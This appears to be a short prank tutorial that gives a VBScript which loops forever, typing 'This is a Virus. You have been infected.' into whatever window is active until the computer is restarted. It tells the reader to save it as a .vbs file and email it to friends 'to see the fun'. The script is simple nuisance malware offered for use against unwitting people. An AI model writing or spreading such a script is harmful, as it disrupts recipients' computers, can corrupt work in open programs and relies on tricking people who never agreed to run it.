A Simple funny trick.....!

WARNING##Before do this don't open any IMP programs......##WARNIG

Open Notepad, copy the code given below and save the file as Ben.vbs or *.vbs.
You will need to restart your computer to stop this.
Try this after closing all important programs.

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "This is a Virus. You have been infected."
loop

Send this file to your friends as an email attachment to see the fun.....